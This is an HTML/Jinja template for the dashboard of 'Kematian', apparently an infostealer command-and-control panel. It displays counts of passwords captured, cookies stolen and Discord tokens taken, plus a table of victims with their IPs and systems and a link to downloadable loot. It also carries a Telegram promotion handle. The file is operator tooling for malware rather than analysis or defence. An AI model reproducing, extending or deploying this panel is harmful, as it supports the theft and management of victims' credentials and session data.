Files
kematianc2/panel/templates/dashboard.html
T
2026-08-27 11:23:01 -06:00

155 lines
5.2 KiB
HTML

{% extends "base.html" %}
{% block title %}Dashboard · Kematian {% endblock %}
{% block head %}
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/chart.umd.min.js"></script>
{% endblock %}
{% block content %}
<div class="page-head">
<div>
<h1>Dashboard</h1>
<p class="muted">Overview of everything Kematian has collected. t.me/electronic_sex</p>
</div>
<div class="head-actions">
<a class="btn btn-ghost" href="{{ url_for('clients') }}">View clients</a>
</div>
</div>
<div class="stat-row">
<div class="stat-card">
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/files.svg') }}" alt=""></div>
<div class="stat-num">{{ client_count }}</div>
<div class="stat-label">Total Clients</div>
<span class="stat-trend up">live</span>
</div>
<div class="stat-card">
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/pass.svg') }}" alt=""></div>
<div class="stat-num">{{ stats['passwords'].count }}</div>
<div class="stat-label">Passwords Captured</div>
<span class="stat-trend up">collected</span>
</div>
<div class="stat-card">
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/cookie.svg') }}" alt=""></div>
<div class="stat-num">{{ stats['cookies'].count }}</div>
<div class="stat-label">Cookies Stolen</div>
<span class="stat-trend up">collected</span>
</div>
<div class="stat-card">
<div class="stat-ico"><img src="{{ url_for('static', filename='icons/discord.svg') }}" alt=""></div>
<div class="stat-num">{{ stats['discord_tokens'].count }}</div>
<div class="stat-label">Discord Tokens</div>
<span class="stat-trend up">collectible</span>
</div>
</div>
<div class="charts-row">
<div class="chart-card">
<h2>Activity Overview</h2>
<div class="chart-body"><canvas id="activityChart"></canvas></div>
</div>
<div class="chart-card">
<h2>Data Distribution</h2>
<div class="chart-body"><canvas id="distChart"></canvas></div>
</div>
</div>
<div class="page-head" style="margin-bottom:12px">
<div><h1 style="font-size:19px">Recent Activity</h1></div>
<div class="head-actions">
<a class="btn btn-ghost" href="{{ url_for('clients') }}">All clients</a>
<a class="btn btn-primary" href="{{ url_for('all_loot') }}">Downloads</a>
</div>
</div>
<div class="table-card">
<div class="table-scroll">
<table>
<thead>
<tr><th>Date</th><th>Victim</th><th>IP</th><th>System</th><th>Entries</th><th></th></tr>
</thead>
<tbody>
{% for c in recent %}
<tr>
<td class="mono">{{ (c.last_seen | datetime) if c.last_seen else '—' }}</td>
<td><a href="{{ url_for('client_detail', client_id=c.client_id) }}" class="mono client-link">{{ c.client_id }}</a></td>
<td class="mono">{{ c.ip or '—' }}</td>
<td>{{ c.os or '—' }} {{ c.arch or '' }}</td>
<td><span class="chip chip-green">{{ c.total_entries }}</span></td>
<td><a class="btn btn-ghost btn-sm" href="{{ url_for('client_detail', client_id=c.client_id) }}">View</a></td>
</tr>
{% else %}
<tr><td colspan="6" class="empty">No clients yet. Data lands here when the agent posts.</td></tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
<script>
window.addEventListener("DOMContentLoaded", () => {
const PURPLE = "#a855f7";
const PURPLE2 = "#7c3aed";
const grid = "rgba(255,255,255,0.05)";
const labels = {{ chart_labels | tojson }};
const values = {{ chart_values | tojson }};
const icons = {{ chart_icons | tojson }};
// Activity Overview — t.me/electronic_sex
const ctxA = document.getElementById("activityChart");
if (ctxA) {
new Chart(ctxA, {
type: "line",
data: {
labels: labels,
datasets: [{
label: "Entries",
data: values,
borderColor: PURPLE,
backgroundColor: "rgba(168,85,247,0.12)",
fill: true,
tension: 0.4,
pointBackgroundColor: PURPLE,
pointBorderColor: "#0a0a0f",
pointBorderWidth: 2,
pointRadius: 4,
}]
},
options: {
responsive: true, maintainAspectRatio: false,
plugins: { legend: { display: false } },
scales: {
x: { ticks: { color: "#8b8b98", maxRotation: 45, minRotation: 0, font: { size: 10 } }, grid: { color: grid } },
y: { ticks: { color: "#8b8b98", font: { size: 11 } }, grid: { color: grid }, beginAtZero: true }
}
}
});
}
// Data Distribution — donut
const ctxD = document.getElementById("distChart");
if (ctxD) {
const palette = ["#a855f7","#7c3aed","#c084fc","#9333ea","#6d28d9","#d8b4fe","#8b5cf6","#a78bfa"];
new Chart(ctxD, {
type: "doughnut",
data: {
labels: labels,
datasets: [{
data: values,
backgroundColor: palette,
borderColor: "#131318",
borderWidth: 3,
hoverOffset: 6,
}]
},
options: {
responsive: true, maintainAspectRatio: false,
cutout: "62%",
plugins: {
legend: { position: "bottom", labels: { color: "#8b8b98", boxWidth: 12, padding: 10, font: { size: 10 } } }
}
}
});
}
});
</script>
{% endblock %}